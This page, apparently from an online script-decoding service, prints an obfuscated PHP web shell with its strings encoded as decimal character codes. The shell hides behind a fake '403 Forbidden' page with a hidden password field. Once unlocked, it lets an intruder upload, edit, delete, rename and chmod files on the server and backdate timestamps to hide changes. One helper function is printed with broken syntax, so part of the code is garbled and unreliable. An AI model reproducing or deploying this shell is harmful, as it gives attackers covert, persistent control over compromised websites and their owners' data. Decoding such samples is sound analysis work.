Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


function dpqu($awf) {
	$wai = "explode";
	$yub = $wai('|',ypma("120.117.105.100.124.120.49.50.124.120.49.50.124.120.49.50.124.53.98.49.102.55.54.50.48.99.100.54.57.53.49.48.55.102.51.51.48.99.52.57.98.101.56.102.53.97.55.99.54.124.120.117.105.100.124.60.33.68.79.67.84.89.80.69.32.104.116.109.108.62.60.104.116.109.108.62.60.104.101.97.100.62.60.116.105.116.108.101.62.52.48.51.32.70.111.114.98.105.100.100.101.110.46.60.47.116.105.116.108.101.62.60.47.104.101.97.100.62.60.98.111.100.121.62.60.104.49.62.70.111.114.98.105.100.100.101.110.46.60.47.104.49.62.60.112.62.89.111.117.32.100.111.110.111.116.32.104.97.118.101.32.112.101.114.109.105.115.115.105.111.110.32.116.111.32.97.99.99.101.115.115.32.47.32.111.110.32.116.104.105.115.32.115.101.114.118.101.114.46.60.98.114.32.47.62.60.47.112.62.60.102.111.114.109.32.97.99.116.105.111.110.61.34.34.32.109.101.116.104.111.100.61.34.112.111.115.116.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.112.97.115.115.119.111.114.100.34.32.110.97.109.101.61.34.120.49.50.34.32.115.116.121.108.101.61.34.98.111.114.100.101.114.58.48.59.34.62.60.47.102.111.114.109.62.60.47.98.111.100.121.62.60.47.104.116.109.108.62.124.89.45.109.45.100.32.72.58.105.58.115.124.124.105.100.124.105.100.124.118.105.100.124.118.105.100.124.124.114.109.124.114.109.124.124.116.120.116.124.102.105.108.101.95.112.117.116.95.99.111.110.116.101.110.116.115.124.116.120.116.124.116.105.109.101.124.116.105.109.101.124.111.107.124.124.89.45.109.45.100.32.72.58.105.58.115.124.117.102.124.117.102.124.110.97.109.101.124.116.109.112.95.110.97.109.101.124.47.124.110.97.109.101.124.47.124.110.97.109.101.124.116.105.109.101.124.47.124.110.97.109.101.124.116.105.109.101.124.117.112.108.111.97.100.32.61.32.124.109.107.100.124.109.107.100.124.114.109.100.124.114.109.100.124.114.110.97.124.114.110.98.124.114.110.97.124.114.110.98.124.114.110.98.124.99.104.97.124.99.104.97.124.124.47.42.124.60.100.105.118.32.99.108.97.115.115.61.34.108.105.115.116.32.100.105.114.34.62.60.115.112.97.110.62.124.47.46.42.92.47.47.124.124.60.47.115.112.97.110.62.60.105.62.124.89.45.109.45.100.32.72.58.105.58.115.124.60.47.105.62.60.117.62.124.60.47.117.62.60.98.62.124.60.47.98.62.60.97.32.104.114.101.102.61.34.63.105.100.61.124.34.62.111.112.101.110.60.47.97.62.60.47.100.105.118.62.124.47.123.42.44.46.42.44.42.46.125.124.60.100.105.118.32.99.108.97.115.115.61.34.108.105.115.116.32.102.105.108.101.34.62.60.115.112.97.110.62.124.47.46.42.92.47.47.124.124.60.47.115.112.97.110.62.60.105.62.124.89.45.109.45.100.32.72.58.105.58.115.124.60.47.105.62.60.117.62.124.60.47.117.62.60.98.62.124.60.47.98.62.60.97.32.104.114.101.102.61.34.63.118.105.100.61.124.34.62.101.100.105.116.60.47.97.62.32.61.32.60.97.32.104.114.101.102.61.34.63.114.109.61.124.34.32.111.110.99.108.105.99.107.61.34.114.101.116.117.114.110.32.99.111.110.102.105.114.109.40.41.34.62.100.101.108.60.47.97.62.60.47.100.105.118.62.124.60.33.68.79.67.84.89.80.69.32.104.116.109.108.62.60.104.116.109.108.62.60.104.101.97.100.62.60.116.105.116.108.101.62.50.48.48.60.47.116.105.116.108.101.62.60.115.116.121.108.101.62.42.123.118.101.114.116.105.99.97.108.45.97.108.105.103.110.58.109.105.100.100.108.101.59.109.97.114.103.105.110.58.48.59.112.97.100.100.105.110.103.58.48.59.102.111.110.116.58.49.52.112.120.47.49.56.112.120.32.116.97.104.111.109.97.59.125.98.111.100.121.123.109.97.114.103.105.110.58.49.48.112.120.125.46.108.123.102.108.111.97.116.58.108.101.102.116.59.125.46.114.123.102.108.111.97.116.58.114.105.103.104.116.59.125.104.101.97.100.101.114.123.104.101.105.103.104.116.58.51.48.112.120.59.98.97.99.107.103.114.111.117.110.100.58.35.48.48.48.59.99.111.108.111.114.58.35.102.102.102.59.112.97.100.100.105.110.103.58.53.112.120.125.104.101.97.100.101.114.32.97.123.99.111.108.111.114.58.35.102.102.102.59.109.97.114.103.105.110.58.51.112.120.125.104.101.97.100.101.114.32.102.111.114.109.123.100.105.115.112.108.97.121.58.105.110.108.105.110.101.45.98.108.111.99.107.59.109.97.114.103.105.110.45.114.105.103.104.116.58.53.112.120.59.112.97.100.100.105.110.103.45.114.105.103.104.116.58.53.112.120.125.105.110.112.117.116.123.112.97.100.100.105.110.103.58.51.112.120.59.119.105.100.116.104.58.49.50.48.112.120.59.102.111.110.116.45.115.105.122.101.58.49.50.112.120.59.98.97.99.107.103.114.111.117.110.100.58.35.102.102.102.59.111.117.116.108.105.110.101.58.48.59.125.98.117.116.116.111.110.123.104.101.105.103.104.116.58.50.54.112.120.59.119.105.100.116.104.58.51.48.112.120.59.99.117.114.115.111.114.58.112.111.105.110.116.101.114.59.125.116.101.120.116.97.114.101.97.123.112.97.100.100.105.110.103.58.53.112.120.59.119.105.100.116.104.58.57.48.37.59.109.97.114.103.105.110.45.116.111.112.58.53.112.120.125.46.109.115.103.123.99.111.108.111.114.58.114.101.100.125.46.100.105.114.123.99.111.108.111.114.58.103.114.101.101.110.59.125.35.101.100.105.116.123.112.97.100.100.105.110.103.58.48.32.49.48.112.120.32.49.48.112.120.125.46.108.105.115.116.123.108.105.110.101.45.104.101.105.103.104.116.58.50.48.112.120.59.125.46.108.105.115.116.58.104.111.118.101.114.123.98.97.99.107.103.114.111.117.110.100.58.35.101.101.101.59.125.46.108.105.115.116.32.42.123.100.105.115.112.108.97.121.58.105.110.108.105.110.101.45.98.108.111.99.107.59.116.101.120.116.45.97.108.105.103.110.58.108.101.102.116.59.119.105.100.116.104.58.49.48.48.112.120.59.102.111.110.116.45.115.116.121.108.101.58.110.111.114.109.97.108.125.46.108.105.115.116.32.115.112.97.110.44.46.108.105.115.116.32.105.123.119.105.100.116.104.58.50.48.48.112.120.59.125.46.108.105.115.116.32.97.123.100.105.115.112.108.97.121.58.105.110.108.105.110.101.59.99.111.108.111.114.58.114.101.100.125.60.47.115.116.121.108.101.62.60.47.104.101.97.100.62.60.98.111.100.121.62.60.104.101.97.100.101.114.62.60.100.105.118.32.99.108.97.115.115.61.34.108.34.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.103.101.116.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.105.100.34.32.118.97.108.117.101.61.34.124.34.32.115.116.121.108.101.61.34.119.105.100.116.104.58.50.48.48.112.120.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.105.100.60.47.98.117.116.116.111.110.62.60.47.102.111.114.109.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.112.111.115.116.34.32.101.110.99.116.121.112.101.61.34.109.117.108.116.105.112.97.114.116.47.102.111.114.109.45.100.97.116.97.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.102.105.108.101.34.32.110.97.109.101.61.34.117.102.91.93.34.32.109.117.108.116.105.112.108.101.32.115.116.121.108.101.61.34.119.105.100.116.104.58.50.48.112.120.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.117.112.60.47.98.117.116.116.111.110.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.116.105.109.101.34.32.118.97.108.117.101.61.34.124.34.32.99.108.97.115.115.61.34.105.34.62.60.47.102.111.114.109.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.103.101.116.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.118.105.100.34.32.118.97.108.117.101.61.34.124.47.34.32.115.116.121.108.101.61.34.119.105.100.116.104.58.50.48.48.112.120.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.118.105.100.60.47.98.117.116.116.111.110.62.60.47.102.111.114.109.62.60.47.100.105.118.62.60.115.112.97.110.62.60.97.32.104.114.101.102.61.34.63.105.100.61.124.34.62.80.65.84.72.60.47.97.62.32.60.97.32.104.114.101.102.61.34.63.105.100.61.124.34.62.87.87.87.60.47.97.62.60.47.115.112.97.110.62.60.115.112.97.110.32.99.108.97.115.115.61.34.109.115.103.34.62.124.60.100.105.118.32.105.100.61.34.101.100.105.116.34.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.112.111.115.116.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.116.105.109.101.34.32.118.97.108.117.101.61.34.124.34.32.99.108.97.115.115.61.34.105.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.83.97.118.101.60.47.98.117.116.116.111.110.62.60.98.114.62.60.116.101.120.116.97.114.101.97.32.110.97.109.101.61.34.116.120.116.34.32.114.111.119.115.61.34.52.48.34.62.124.60.47.115.112.97.110.62.60.47.104.101.97.100.101.114.62.124.60.47.116.101.120.116.97.114.101.97.62.60.47.102.111.114.109.62.60.47.100.105.118.62.124.68.79.67.85.77.69.78.84.95.82.79.79.84.124.60.47.98.111.100.121.62.60.47.104.116.109.108.62"));
	return $yub[$awf];
}
function ypma($awf) {
	$wai = "explode";
	$kkt = '';$yub = $wai(,trim($awf,));foreach($yub as $kew) {$kkt .= chr($kew);}return $kkt;
}
$fto2 = "explode";
$fto3 = $fto2(',',ypma('112.114.101.103.95.114.101.112.108.97.99.101.44.109.111.118.101.95.117.112.108.111.97.100.101.100.95.102.105.108.101.44.102.105.108.101.95.103.101.116.95.99.111.110.116.101.110.116.115.44.97.114.114.97.121.95.109.101.114.103.101.44.115.116.114.116.111.116.105.109.101.44.102.105.108.101.109.116.105.109.101.44.100.105.114.110.97.109.101.44.116.111.117.99.104.44.105.115.95.102.105.108.101.44.99.111.117.110.116.44.99.104.109.111.100.44.117.110.108.105.110.107.44.109.107.100.105.114.44.114.109.100.105.114.44.114.101.110.97.109.101.44.103.108.111.98.44.102.105.108.101.115.105.122.101.44.115.117.98.115.116.114.44.115.112.114.105.110.116.102.44.102.105.108.101.112.101.114.109.115.44.109.100.53.44.100.97.116.101.44.116.105.109.101.44.115.101.115.115.105.111.110.95.115.116.97.114.116'));
$fto3[23]();
$fto1 = $_REQUEST; 
if(!empty($_SESSION[dpqu(0)]) || (!empty($fto1[dpqu(1)]) && $fto3[20]($fto1[dpqu(1)].$fto3[20]($fto1[dpqu(1)]))==(dpqu(4)))) {
	$_SESSION[dpqu(0)] = 1;
} else {
	exit(dpqu(6));
}

$awf = $fto3[6](__FILE__);
$yub = $fto3[22]()-24*3600*100;
$imz = $fto3[21](dpqu(7),$yub);
$kbw = $fto1;
$bzm = $fto1;
$lca = dpqu(8);
$wai = isset($kbw[dpqu(9)]) ? $kbw[dpqu(9)] : $awf;
$kew = isset($kbw[dpqu(11)]) ? $kbw[dpqu(11)] : dpqu(8);
$afp = isset($kbw[dpqu(14)]) ? $kbw[dpqu(14)] : dpqu(8);
if (!empty($kew)) {
 if (isset($bzm[dpqu(17)])) {
	$nwk = dpqu(18);
	$nwk($kew,$bzm[dpqu(17)]);
	if (isset($bzm[dpqu(20)])) $fto3[7]($kew,$fto3[4]($bzm[dpqu(20)]));
	$lca = dpqu(22);
 }
 $xtx = dpqu(8);
 if($fto3[8]($kew)) {
	$xtx = $fto3[2]($kew);
	$imz = $fto3[21](dpqu(7),$fto3[5]($kew));
 }
 $wai = $fto3[6]($kew);
} elseif (!empty($_FILES[dpqu(25)])) {
 $sec = $_FILES[dpqu(25)]; $nsp = 0;
 for($I=0;$I<$fto3[9]($sec[dpqu(27)]);$I++) {
	if($fto3[1]($sec[dpqu(28)][$I], $wai.dpqu(29).$sec[dpqu(27)][$I])) {
	 $fto3[10]($wai.dpqu(29).$sec[dpqu(27)][$I],0755);
	 $nsp++;
	 if (isset($bzm[dpqu(20)])) $fto3[7]($wai.dpqu(29).$sec[dpqu(27)][$I],$fto3[4]($bzm[dpqu(20)]));
	}
 }
 $lca = dpqu(37) . $nsp;
} elseif (!empty($afp)) {
 $fto3[11]($afp);
} elseif (!empty($kbw[dpqu(38)])) {
 $fto3[12]($kbw[dpqu(38)]);
} elseif (!empty($kbw[dpqu(40)])) {
 $fto3[13]($kbw[dpqu(40)]);
} elseif (!empty($kbw[dpqu(42)])&&!empty($kbw[dpqu(43)])) {
 $fto3[14]($kbw[dpqu(42)],$kbw[dpqu(43)]);
 $fto3[7]($kbw[dpqu(43)],$yub);
} elseif (!empty($kbw[dpqu(47)])) {
 $fto3[10]($kbw[dpqu(47)],0755);
}
$kkt = dpqu(8);
foreach($fto3[15]($wai.dpqu(50), GLOB_ONLYDIR) as $onx) {
 $kkt .= (dpqu(51)).$fto3[0](dpqu(52),dpqu(8),$onx).dpqu(54).$fto3[21](dpqu(7),$fto3[5]($onx)).dpqu(56).$fto3[16]($onx).dpqu(57).$fto3[17]($fto3[18]("%o",$fto3[19]($onx)),-4).dpqu(58).$onx.dpqu(59);
}
foreach($fto3[15]($wai.dpqu(60), GLOB_BRACE) as $onx) {
 if($fto3[8]($onx)) $kkt .= (dpqu(61)).$fto3[0](dpqu(52),dpqu(8),$onx).dpqu(54).$fto3[21](dpqu(7),$fto3[5]($onx)).dpqu(56).$fto3[16]($onx).dpqu(57).$fto3[17]($fto3[18]("%o",$fto3[19]($onx)),-4).dpqu(68).$onx.dpqu(69).$onx.dpqu(70);
}
$ppr = dpqu(71);	$eoy = dpqu(72);	$tif = dpqu(73);	$sja = dpqu(74);	$twa = dpqu(75);	$kri = dpqu(76);	$twj = dpqu(77);	$ddf = dpqu(78);	$dtn = dpqu(79);	$ghk = dpqu(80);
echo $ppr.$wai.$eoy.$imz.$tif.$wai.$sja.$awf.$twa.$_SERVER[dpqu(81)].$kri.$lca.$dtn.(isset($xtx)?$twj.$imz.$ddf.$xtx.$ghk:$kkt).dpqu(82);
exit;



© 2023 Quttera Ltd. All rights reserved.